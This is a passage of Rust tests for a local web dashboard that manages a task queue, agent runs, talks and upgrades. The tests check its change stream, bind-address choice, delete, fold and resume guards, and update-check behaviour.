6526 assert!(APP_JS.contains("verified HEAD"));
6527 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
6528 }
6529
6530 #[tokio::test]
6531 async fn the_change_stream_announces_the_current_revisions_on_connect() {
6532 let f = Fixture::start().await;
6533
6534 let mut socket = tokio::net::TcpStream::connect(f.addr)
6535 .await
6536 .expect("connect");
6537 socket
6538 .write_all(
6539 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6540 )
6541 .await
6542 .expect("write request");
6543
6544 let mut seen = String::new();
6547 let mut buf = [0u8; 1024];
6548 while !seen.contains("event: change") {
6549 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
6550 .await
6551 .expect("the stream must speak within five seconds")
6552 .expect("read");
6553 assert!(read > 0, "the server closed the change stream: {seen}");
6554 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
6555 }
6556
6557 assert!(
6558 seen.to_lowercase()
6559 .contains("content-type: text/event-stream"),
6560 "the browser only reconnects automatically for a real SSE stream: {seen}"
6561 );
6562 let data = seen
6563 .lines()
6564 .find_map(|l| l.strip_prefix("data:"))
6565 .expect("a data line");
6566 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
6567 assert!(
6568 payload["queue_rev"].is_u64()
6569 && payload["runs_rev"].is_u64()
6570 && payload["questions_rev"].is_u64()
6571 && payload["talks_rev"].is_u64()
6572 && payload["loop_rev"].is_u64(),
6573 "the client needs one revision per store to know what to refetch, \
6574 and `talks_rev` is the only notification a standing talk gets - a \
6575 phone whose radio slept through a turn learns about it here, as \
6576 does one whose operator started the loop from another device: \
6577 {payload}"
6578 );
6579
6580 let health = f.get("/api/health").await.json();
6587 for key in [
6588 "queue_rev",
6589 "runs_rev",
6590 "questions_rev",
6591 "talks_rev",
6592 "loop_rev",
6593 ] {
6594 assert!(
6595 health[key].is_u64(),
6596 "health is the change stream's fallback and is missing `{key}`: {health}"
6597 );
6598 }
6599 }
6600
6601 #[tokio::test]
6602 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
6603 let f = Fixture::start().await;
6604 let before = f.get("/api/health").await.json()["talks_rev"]
6605 .as_u64()
6606 .expect("talks_rev");
6607
6608 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
6609 std::thread::sleep(Duration::from_millis(10));
6610 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
6611 on_disk.turns.push(crate::talk::Turn {
6612 who: crate::talk::Who::Operator,
6613 body: "a new turn".to_owned(),
6614 at: Timestamp::now(),
6615 attachments: Vec::new(),
6616 });
6617 f.talks().put(&mut on_disk).expect("record a turn");
6618
6619 let after = f.get("/api/health").await.json()["talks_rev"]
6620 .as_u64()
6621 .expect("talks_rev");
6622 assert_ne!(
6623 before, after,
6624 "a phone must be able to notice a talk's reply without polling every store"
6625 );
6626 }
6627
6628 #[test]
6629 fn bind_reads_back_from_the_spelling_the_cli_prints() {
6630 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
6634 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
6635 }
6636 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
6637 assert!("everywhere".parse::<Bind>().is_err());
6638 }
6639
6640 #[test]
6641 fn an_explicit_bind_address_is_taken_verbatim() {
6642 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
6643
6644 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
6645
6646 assert_eq!(addr, asked);
6647 assert!(
6648 warning.is_none(),
6649 "an operator who named an address gets no lecture"
6650 );
6651 }
6652
6653 #[test]
6654 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
6655 let (addr, warning) = resolve_bind(&Bind::Auto);
6656
6657 match addr {
6664 IpAddr::V4(ip) if is_tailnet(&ip) => {
6665 assert!(warning.is_none(), "a tailnet address needs no warning");
6666 }
6667 other => {
6668 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
6669 let warning = warning.expect("a fallback has to explain itself");
6670 assert!(
6671 warning.contains("127.0.0.1") && warning.contains("local-only"),
6672 "the warning says what happened and what it costs: {warning}"
6673 );
6674 }
6675 }
6676 }
6677
6678 #[test]
6679 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
6680 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
6684 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
6685 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
6686 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
6687 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
6688 }
6689
6690 #[test]
6691 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
6692 let ids = vec![
6693 "20260902-140501-aaaa".to_owned(),
6694 "20260902-140502-aabb".to_owned(),
6695 ];
6696
6697 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
6698 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
6699 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
6700
6701 assert_eq!(missing.status, StatusCode::NOT_FOUND);
6702 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
6703 assert_eq!(short, "20260902-140502-aabb");
6704 }
6705 #[tokio::test]
6706 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
6707 let fx = Fixture::start().await;
6713 let id = panel(
6714 &fx,
6715 "<img src=\"shot.png\">",
6716 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
6717 );
6718
6719 let doc = fx
6721 .get(&format!("/api/questions/{id}/panel/index.html"))
6722 .await;
6723 assert_eq!(doc.status, 200, "{}", doc.body);
6724 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
6725
6726 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
6727 assert_eq!(sibling.status, 200, "{}", sibling.body);
6728 assert_eq!(sibling.header("content-type"), Some("image/png"));
6729 assert_eq!(
6730 sibling.header("content-security-policy"),
6731 Some(PANEL_CSP),
6732 "the sibling route must carry the same policy as the asset route"
6733 );
6734
6735 assert_eq!(
6738 fx.head(&format!("/api/questions/{id}/panel")).await.status,
6739 200
6740 );
6741 }
6742
6743 #[test]
6744 fn runs_revision_moves_when_deleting_an_older_run() {
6745 let temp = TempDir::new().expect("tempdir");
6746 let runs = temp.path().join("runs");
6747 std::fs::create_dir_all(&runs).expect("create runs dir");
6748
6749 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
6750
6751 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
6752 std::thread::sleep(Duration::from_millis(10));
6753 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
6754
6755 let rev_before = runs_revision(&runs);
6756 assert!(rev_before > 0);
6757
6758 let old_dir = runs.join("20260901-100000-old1");
6759 std::fs::remove_dir_all(&old_dir).expect("remove old run");
6760
6761 let rev_after = runs_revision(&runs);
6762 assert_ne!(
6763 rev_before, rev_after,
6764 "deleting an older run must change the revision so other clients see the deletion"
6765 );
6766 }
6767
6768 fn write_state(runs: &FsPath, state: &RunState) {
6773 let dir = runs.join(&state.id);
6774 std::fs::create_dir_all(&dir).expect("run dir");
6775 std::fs::write(
6776 dir.join("run.json"),
6777 serde_json::to_string_pretty(state).expect("serialize run"),
6778 )
6779 .expect("write run.json");
6780 }
6781
6782 #[test]
6787 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
6788 let temp = TempDir::new().expect("tempdir");
6789 let runs = temp.path().join("runs");
6790 std::fs::create_dir_all(&runs).expect("create runs dir");
6791 let mut state = RunState::new(
6792 PathBuf::from("/repo/magi"),
6793 "main".to_owned(),
6794 "0123456789abcdef".to_owned(),
6795 "task".to_owned(),
6796 Config::default(),
6797 );
6798 state.id = "20260902-100000-c0de".to_owned();
6799 write_state(&runs, &state);
6800
6801 let rev_idle = runs_revision(&runs);
6802 std::thread::sleep(Duration::from_millis(10));
6803 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
6804 write_state(&runs, &state);
6805 let rev_started = runs_revision(&runs);
6806 assert_ne!(
6807 rev_idle, rev_started,
6808 "a seat starting must move the revision"
6809 );
6810
6811 std::thread::sleep(Duration::from_millis(10));
6812 state.seat_finished("judge-1");
6813 write_state(&runs, &state);
6814 let rev_finished = runs_revision(&runs);
6815 assert_ne!(
6816 rev_started, rev_finished,
6817 "and clearing it again must move the revision a second time"
6818 );
6819 }
6820
6821 #[tokio::test]
6822 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
6823 let fx = Fixture::start().await;
6824 let q = fx.queue();
6825
6826 let mut t1 = Task::new(
6828 "Task 1".to_owned(),
6829 "Instruction 1".to_owned(),
6830 PathBuf::from("/repo"),
6831 Source::Human,
6832 );
6833 let run_id = "20260901-000000-r111";
6834 t1.runs.push(run_id.to_owned());
6835 write_run(&fx.runs(), run_id, RunStatus::Merged);
6836 q.put(&mut t1).expect("put t1");
6837
6838 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
6840 assert_eq!(res.status, 204);
6841 assert!(res.body.is_empty(), "204 No Content has no body");
6842 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
6843 assert!(
6844 fx.runs().join(run_id).exists(),
6845 "run directory must not be deleted when its task is deleted"
6846 );
6847
6848 let mut t2 = Task::new(
6850 "Task 2".to_owned(),
6851 "Instruction 2".to_owned(),
6852 PathBuf::from("/repo"),
6853 Source::Human,
6854 );
6855 t2.status = TaskStatus::Running;
6856 q.put(&mut t2).expect("put t2");
6857 let mut beat = crate::daemon::Status::new();
6858 beat.current = vec![crate::daemon::Current {
6859 task: t2.id.clone(),
6860 run: "20260901-000000-r222".to_owned(),
6861 }];
6862 beat.updated_at = jiff::Timestamp::now();
6863 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6864 .expect("publish a heartbeat");
6865 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6866 assert_eq!(res.status, 409);
6867 assert!(
6868 res.json()["error"]
6869 .as_str()
6870 .unwrap()
6871 .contains("live daemon")
6872 );
6873 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6874
6875 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6881 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6882 .expect("leave a stale heartbeat");
6883 let mut t3 = Task::new(
6884 "Task 3".to_owned(),
6885 "Instruction 3".to_owned(),
6886 PathBuf::from("/repo"),
6887 Source::Human,
6888 );
6889 t3.status = TaskStatus::Running;
6890 q.put(&mut t3).expect("put t3");
6891 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6892 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6893 assert_eq!(res.status, 204);
6894 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6895 assert!(
6896 q.claim(&t3.id).is_ok(),
6897 "the stale lock went with it, so the id is claimable again"
6898 );
6899
6900 let res = fx.delete("/api/queue/nonexistent").await;
6902 assert_eq!(res.status, 404);
6903 }
6904
6905 #[tokio::test]
6906 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6907 let fx = Fixture::start().await;
6908 let runs = fx.runs();
6909
6910 let run_id = "20260901-000000-fold";
6912 let mut state = RunState::new(
6913 PathBuf::from("/repo"),
6914 "main".to_owned(),
6915 "abc".to_owned(),
6916 "instruction".to_owned(),
6917 Config::default(),
6918 );
6919 state.id = run_id.to_owned();
6920 state.status = RunStatus::Merged;
6921 state.candidates.push(crate::run::Candidate {
6922 index: 0,
6923 label: 'A',
6924 agent: "a".to_owned(),
6925 branch: "b".to_owned(),
6926 worktree: PathBuf::from("/w"),
6927 summary: String::new(),
6928 stat: String::new(),
6929 files: 1,
6930 commits: 1,
6931 empty: false,
6932 failed: None,
6933 duration_ms: 0,
6934 folded: true,
6935 });
6936 let dir = runs.join(run_id);
6937 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6938 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6939 .expect("write artifact");
6940 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6941 .expect("write run.json");
6942
6943 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6945 assert_eq!(res.status, 204);
6946 assert!(res.body.is_empty(), "204 has no body");
6947 assert!(!dir.exists(), "run directory and artifacts must be deleted");
6948
6949 let run_running = "20260901-000000-rung";
6954 write_run(&runs, run_running, RunStatus::Prep);
6955 let mut beat = crate::daemon::Status::new();
6956 beat.current = vec![crate::daemon::Current {
6957 task: "20260901-000000-task".to_owned(),
6958 run: run_running.to_owned(),
6959 }];
6960 beat.updated_at = jiff::Timestamp::now();
6961 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6962 .expect("publish a heartbeat");
6963 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6964 assert_eq!(res.status, 409);
6965 assert!(
6966 res.json()["error"]
6967 .as_str()
6968 .unwrap()
6969 .contains("live daemon"),
6970 "the refusal must say who is holding it"
6971 );
6972 assert!(
6973 runs.join(run_running).exists(),
6974 "a run in flight keeps its directory"
6975 );
6976
6977 let run_unfolded = "20260901-000000-unfd";
6979 let mut state2 = RunState::new(
6980 PathBuf::from("/repo"),
6981 "main".to_owned(),
6982 "abc".to_owned(),
6983 "instruction".to_owned(),
6984 Config::default(),
6985 );
6986 state2.id = run_unfolded.to_owned();
6987 state2.status = RunStatus::Ready;
6988 state2.candidates.push(crate::run::Candidate {
6989 index: 0,
6990 label: 'A',
6991 agent: "a".to_owned(),
6992 branch: "b".to_owned(),
6993 worktree: PathBuf::from("/w"),
6994 summary: String::new(),
6995 stat: String::new(),
6996 files: 1,
6997 commits: 1,
6998 empty: false,
6999 failed: None,
7000 duration_ms: 0,
7001 folded: false,
7002 });
7003 let dir2 = runs.join(run_unfolded);
7004 std::fs::create_dir_all(&dir2).expect("create dir2");
7005 std::fs::write(
7006 dir2.join("run.json"),
7007 serde_json::to_string(&state2).unwrap(),
7008 )
7009 .expect("write run.json");
7010
7011 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7012 assert_eq!(res.status, 409);
7013 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7014 assert!(dir2.exists(), "unfolded run directory is kept");
7015
7016 let res = fx.delete("/api/runs/nonexistent").await;
7018 assert_eq!(res.status, 404);
7019 }
7020
7021 #[test]
7022 fn web_ui_delete_contract_in_front_end() {
7023 assert!(APP_JS.contains("deleteRun:"));
7025 assert!(APP_JS.contains("deleteTask:"));
7026
7027 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7029 ..APP_JS.find("function renderRuns").unwrap()];
7030 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7031
7032 assert!(APP_JS.contains("renderRunDelete"));
7034 assert!(APP_JS.contains("runDeleteReason"));
7035 assert!(APP_JS.contains("magi fold"));
7036 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7037
7038 assert!(APP_JS.contains("cancel.focus"));
7040 assert!(APP_JS.contains("armedRunDelete"));
7041 assert!(APP_JS.contains("armedDelete"));
7042
7043 assert!(APP_JS.contains("disabled: status === \"running\""));
7045 }
7046
7047 #[test]
7067 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7068 let build = APP_JS
7069 .find("function createRunCard")
7070 .expect("createRunCard exists");
7071 let update = APP_JS
7072 .find("function updateRunCard")
7073 .expect("updateRunCard exists");
7074 let end = APP_JS
7075 .find("function renderRuns")
7076 .expect("renderRuns exists");
7077
7078 let builder = &APP_JS[build..update];
7080 let open = builder.find("refs = {").expect("createRunCard sets refs");
7081 let literal = &builder[open + "refs = {".len()..];
7082 let close = literal.find('}').expect("the refs literal is closed");
7083 let published: HashSet<&str> = literal[..close]
7084 .split(',')
7085 .filter_map(|entry| entry.split(':').next())
7087 .map(str::trim)
7088 .filter(|name| !name.is_empty())
7089 .collect();
7090 assert!(
7091 published.len() > 5,
7092 "the refs literal did not parse into names: {published:?}"
7093 );
7094
7095 let mut used: Vec<&str> = Vec::new();
7098 let updaters = &APP_JS[update..end];
7099 for (at, _) in updaters.match_indices("r.") {
7100 let before = updaters[..at].chars().next_back();
7103 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7104 continue;
7105 }
7106 let rest = &updaters[at + 2..];
7107 let len = rest
7108 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7109 .unwrap_or(rest.len());
7110 if len > 0 {
7111 used.push(&rest[..len]);
7112 }
7113 }
7114 assert!(
7115 used.len() > 5,
7116 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7117 );
7118
7119 let missing: Vec<&str> = used
7120 .iter()
7121 .copied()
7122 .filter(|name| !published.contains(name))
7123 .collect();
7124 assert!(
7125 missing.is_empty(),
7126 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7127 never put in `refs` - every card will throw and the list will \
7128 render empty under a count line that says otherwise. Published: \
7129 {published:?}"
7130 );
7131 }
7132
7133 #[tokio::test]
7134 async fn folding_from_the_phone_reports_what_it_removed() {
7135 let fx = Fixture::start().await;
7136 let runs = fx.runs();
7137
7138 let id = "20260901-000000-fold";
7142 write_run(&runs, id, RunStatus::Stalled);
7143 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7144 assert_eq!(res.status, 200);
7145 assert_eq!(res.json()["removed_count"], 0);
7146 assert_eq!(res.json()["run"], id);
7147 assert!(
7148 runs.join(id).exists(),
7149 "a fold keeps the run's record; only the worktrees go"
7150 );
7151 }
7152
7153 #[tokio::test]
7154 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7155 let fx = Fixture::start().await;
7156 let runs = fx.runs();
7157 let wt = fx.home.path().join("wt").join("magi").join("dead");
7158 let id = "20260901-000000-dead";
7159 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7160 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7161 std::fs::create_dir_all(&wt).expect("worktree dir");
7162
7163 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7164 assert_eq!(res.status, 200, "{}", res.body);
7165 assert!(
7166 res.json()["removed_count"].as_u64().unwrap() > 0,
7167 "the worktree this build could not read a state for still went"
7168 );
7169 assert!(
7170 !runs.join(id).exists(),
7171 "an unreadable run has no candidate list to fold selectively, so \
7172 the whole record goes - same as `magi fold` on the CLI"
7173 );
7174 }
7175
7176 #[tokio::test]
7177 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7178 let fx = Fixture::start().await;
7179 let runs = fx.runs();
7180 let wt = fx.home.path().join("wt").join("magi").join("gone");
7181 let id = "20260901-000000-gone";
7182 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7183 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7184 std::fs::create_dir_all(&wt).expect("worktree dir");
7185
7186 let res = fx.delete(&format!("/api/runs/{id}")).await;
7187 assert_eq!(res.status, 204, "{}", res.body);
7188 assert!(!runs.join(id).exists(), "the broken record is gone");
7189 assert!(!wt.exists(), "its worktree is gone too");
7190 }
7191
7192 #[tokio::test]
7193 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7194 let fx = Fixture::start().await;
7195 let runs = fx.runs();
7196 let id = "20260901-000000-live";
7197 write_run(&runs, id, RunStatus::Implementing);
7198
7199 let mut beat = crate::daemon::Status::new();
7200 beat.current = vec![crate::daemon::Current {
7201 task: "20260901-000000-task".to_owned(),
7202 run: id.to_owned(),
7203 }];
7204 beat.updated_at = jiff::Timestamp::now();
7205 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7206 .expect("publish a heartbeat");
7207
7208 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7209 assert_eq!(res.status, 409);
7210 assert!(
7211 res.json()["error"]
7212 .as_str()
7213 .unwrap()
7214 .contains("live daemon"),
7215 "folding under a running agent would pull its worktree away"
7216 );
7217 }
7218
7219 #[tokio::test]
7220 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7221 let fx = Fixture::start().await;
7222 let runs = fx.runs();
7223
7224 for (status, word) in [
7230 (RunStatus::Merged, "merged"),
7231 (RunStatus::Ready, "ready"),
7232 (RunStatus::Failed, "failed"),
7233 ] {
7234 let id = format!("20260901-000000-{}", &word[..4]);
7235 write_run(&runs, &id, status);
7236 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7237 assert_eq!(res.status, 409, "{word} must not be resumable");
7238 let err = res.json()["error"].as_str().unwrap().to_owned();
7239 assert!(err.contains(word), "the refusal names the status: {err}");
7240 }
7241
7242 let mid = "20260901-000000-midf";
7247 write_run(&runs, mid, RunStatus::Reviewing);
7248 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7249 assert_eq!(res.status, 202, "an interrupted run is resumable");
7250 }
7251
7252 #[tokio::test]
7253 async fn resume_is_refused_while_the_loop_is_running() {
7254 let fx = Fixture::start().await;
7255 let runs = fx.runs();
7256 let stalled = "20260901-000000-stal";
7257 write_run(&runs, stalled, RunStatus::Stalled);
7258
7259 let mut beat = crate::daemon::Status::new();
7263 beat.current = vec![crate::daemon::Current {
7264 task: "20260901-000000-task".to_owned(),
7265 run: "20260901-000000-othr".to_owned(),
7266 }];
7267 beat.updated_at = jiff::Timestamp::now();
7268 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7269 .expect("publish a heartbeat");
7270
7271 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7272 assert_eq!(res.status, 409);
7273 let err = res.json()["error"].as_str().unwrap().to_owned();
7274 assert!(err.contains("othr"), "it names what the loop is on: {err}");
7275 assert!(err.contains("stop it first"), "{err}");
7276 }
7277
7278 #[test]
7279 fn a_run_cannot_be_resumed_twice_at_once() {
7280 let home = TempDir::new().expect("temp home");
7281 let ui = Ui::new(
7282 Queue::at(home.path().join("queue")),
7283 Questions::at(home.path().join("questions")),
7284 Talks::at(home.path().join("talks")),
7285 home.path().join("runs"),
7286 home.path().to_path_buf(),
7287 PathBuf::from("/repo"),
7288 )
7289 .with_worktrees_root(home.path().join("wt"));
7290 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7291 let again = ui.begin_resume("20260901-000000-once");
7292 assert!(again.is_err(), "a second tap must not start a second graph");
7293 drop(first);
7294 assert!(
7295 ui.begin_resume("20260901-000000-once").is_ok(),
7296 "and the claim is released when the attempt ends"
7297 );
7298 }
7299
7300 #[test]
7301 fn talk_thinking_tracks_only_its_held_turn_claim() {
7302 let home = TempDir::new().expect("temp home");
7303 let ui = Ui::new(
7304 Queue::at(home.path().join("queue")),
7305 Questions::at(home.path().join("questions")),
7306 Talks::at(home.path().join("talks")),
7307 home.path().join("runs"),
7308 home.path().to_path_buf(),
7309 PathBuf::from("/repo"),
7310 )
7311 .with_worktrees_root(home.path().join("wt"));
7312 let id = "20260901-000000-once";
7313
7314 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
7315 let turn = ui.begin_talk_turn(id).expect("claim turn");
7316 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
7317 assert!(
7318 !ui.is_thinking("20260901-000000-other"),
7319 "one talk's turn does not make another talk busy"
7320 );
7321 drop(turn);
7322 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
7323 }
7324
7325 #[tokio::test]
7326 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7327 let fx = Fixture::start().await;
7328 let mut beat = crate::daemon::Status::new();
7332 beat.pid = 4321;
7333 beat.updated_at = jiff::Timestamp::now();
7334 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7335 .expect("publish a heartbeat");
7336
7337 let res = fx.post("/api/upgrade", None).await;
7338 assert_eq!(res.status, 409);
7339 let err = res.json()["error"].as_str().unwrap().to_owned();
7340 assert!(err.contains("4321"), "the refusal names the owner: {err}");
7341 assert!(err.contains("old one against the same queue"), "{err}");
7342 }
7343
7344 #[test]
7351 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7352 assert!(!should_spawn_recheck(&crate::config::Update {
7353 mode: UpdateMode::Off,
7354 interval: None,
7355 }));
7356
7357 unsafe {
7360 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7361 }
7362 let killed = should_spawn_recheck(&crate::config::Update {
7363 mode: UpdateMode::Notify,
7364 interval: None,
7365 });
7366 unsafe {
7367 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7368 }
7369 assert!(
7370 !killed,
7371 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7372 one-time startup check"
7373 );
7374
7375 assert!(should_spawn_recheck(&crate::config::Update {
7376 mode: UpdateMode::Notify,
7377 interval: None,
7378 }));
7379 }
7380
7381 #[test]
7387 fn recheck_poll_period_tracks_a_short_configured_interval() {
7388 let short = crate::config::Update {
7389 mode: UpdateMode::Notify,
7390 interval: Some("1m".to_owned()),
7391 };
7392 let period = recheck_poll_period(&short);
7393 assert!(
7394 period <= Duration::from_secs(30),
7395 "a one-minute interval must wake the task far sooner than the \
7396 default ceiling, or the deck would not notice within the \
7397 interval the operator configured: got {period:?}"
7398 );
7399
7400 let default = crate::config::Update {
7401 mode: UpdateMode::Notify,
7402 interval: None,
7403 };
7404 assert_eq!(
7405 recheck_poll_period(&default),
7406 UPDATE_RECHECK_POLL_MAX,
7407 "the default day-long interval should poll at the (capped) \
7408 ceiling rather than needlessly often"
7409 );
7410 }
7411
7412 #[test]
7420 fn recheck_skips_the_network_before_the_interval_elapses() {
7421 let dir = TempDir::new().expect("temp dir");
7422 let path = dir.path().join("state.json");
7423 let state = kaishin::UpdateCheckState {
7424 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7425 last_known_latest: None,
7426 last_known_url: None,
7427 };
7428 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7429
7430 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7431 assert!(
7432 !update_recheck_due(&checker, None),
7433 "a check made moments ago must not be repeated before the \
7434 configured interval elapses"
7435 );
7436 }
7437
7438 #[test]
7444 fn recheck_defers_to_an_upgrade_already_in_flight() {
7445 let dir = TempDir::new().expect("temp dir");
7446 let path = dir.path().join("state.json");
7447 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7448 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7449
7450 assert!(
7451 !update_recheck_due(&checker, Some(&progress)),
7452 "a recheck must not run while an upgrade this deck started is \
7453 still moving"
7454 );
7455 }
7456
7457 #[tokio::test]
7458 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7459 unsafe {
7471 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7472 }
7473 let fx = Fixture::start().await;
7474 let res = fx.post("/api/upgrade", None).await;
7475 unsafe {
7476 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7477 }
7478 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7479 let body = res.json();
7480 assert!(body["to"].is_null(), "there was no release to move to");
7481 assert!(body["parked"].is_null(), "and nothing was parked");
7482 assert!(
7483 body["detail"]
7484 .as_str()
7485 .unwrap()
7486 .contains("disabled by MAGI_NO_AUTOUPDATE"),
7487 "{body:?}"
7488 );
7489 }
7490
7491 #[tokio::test]
7492 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7493 let repo = TempDir::new().expect("repo dir");
7509 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7510 .expect("write magi.toml");
7511 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7512
7513 let res = fx.post("/api/upgrade", None).await;
7519 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7520 let body = res.json();
7521 assert!(body["to"].is_null(), "there was no release to move to");
7522 assert!(body["parked"].is_null(), "and nothing was parked");
7523 assert!(
7524 body["detail"]
7525 .as_str()
7526 .unwrap()
7527 .contains("nothing restarted"),
7528 "{body:?}"
7529 );
7530 }
7531
7532 #[tokio::test]
7533 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7534 let repo = TempDir::new().expect("repo dir");
7539 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7540 .expect("write magi.toml");
7541 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7542
7543 let health = fx.get("/api/health").await.json();
7544 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7545 assert_eq!(
7546 health["update"]["available"], false,
7547 "checking is off, which reads as \"unknown\", not \"none\""
7548 );
7549 assert!(health["update"]["to"].is_null());
7550 assert!(
7551 health["upgrade"].is_null(),
7552 "nothing has ever asked this deck to upgrade"
7553 );
7554 }
7555
7556 #[tokio::test]
7557 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
7558 let fx = Fixture::start().await;
7559 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
7560
7561 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7562 progress.parked_run = Some("20260905-000000-cd51".to_owned());
7563 progress.advance(crate::updater::Stage::Parking);
7564 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7565
7566 let health = fx.get("/api/health").await.json();
7567 assert_eq!(health["upgrade"]["stage"], "parking");
7568 assert_eq!(health["upgrade"]["from"], "0.5.1");
7569 assert_eq!(health["upgrade"]["to"], "0.5.2");
7570 let waiting_on = health["upgrade"]["waiting_on"]
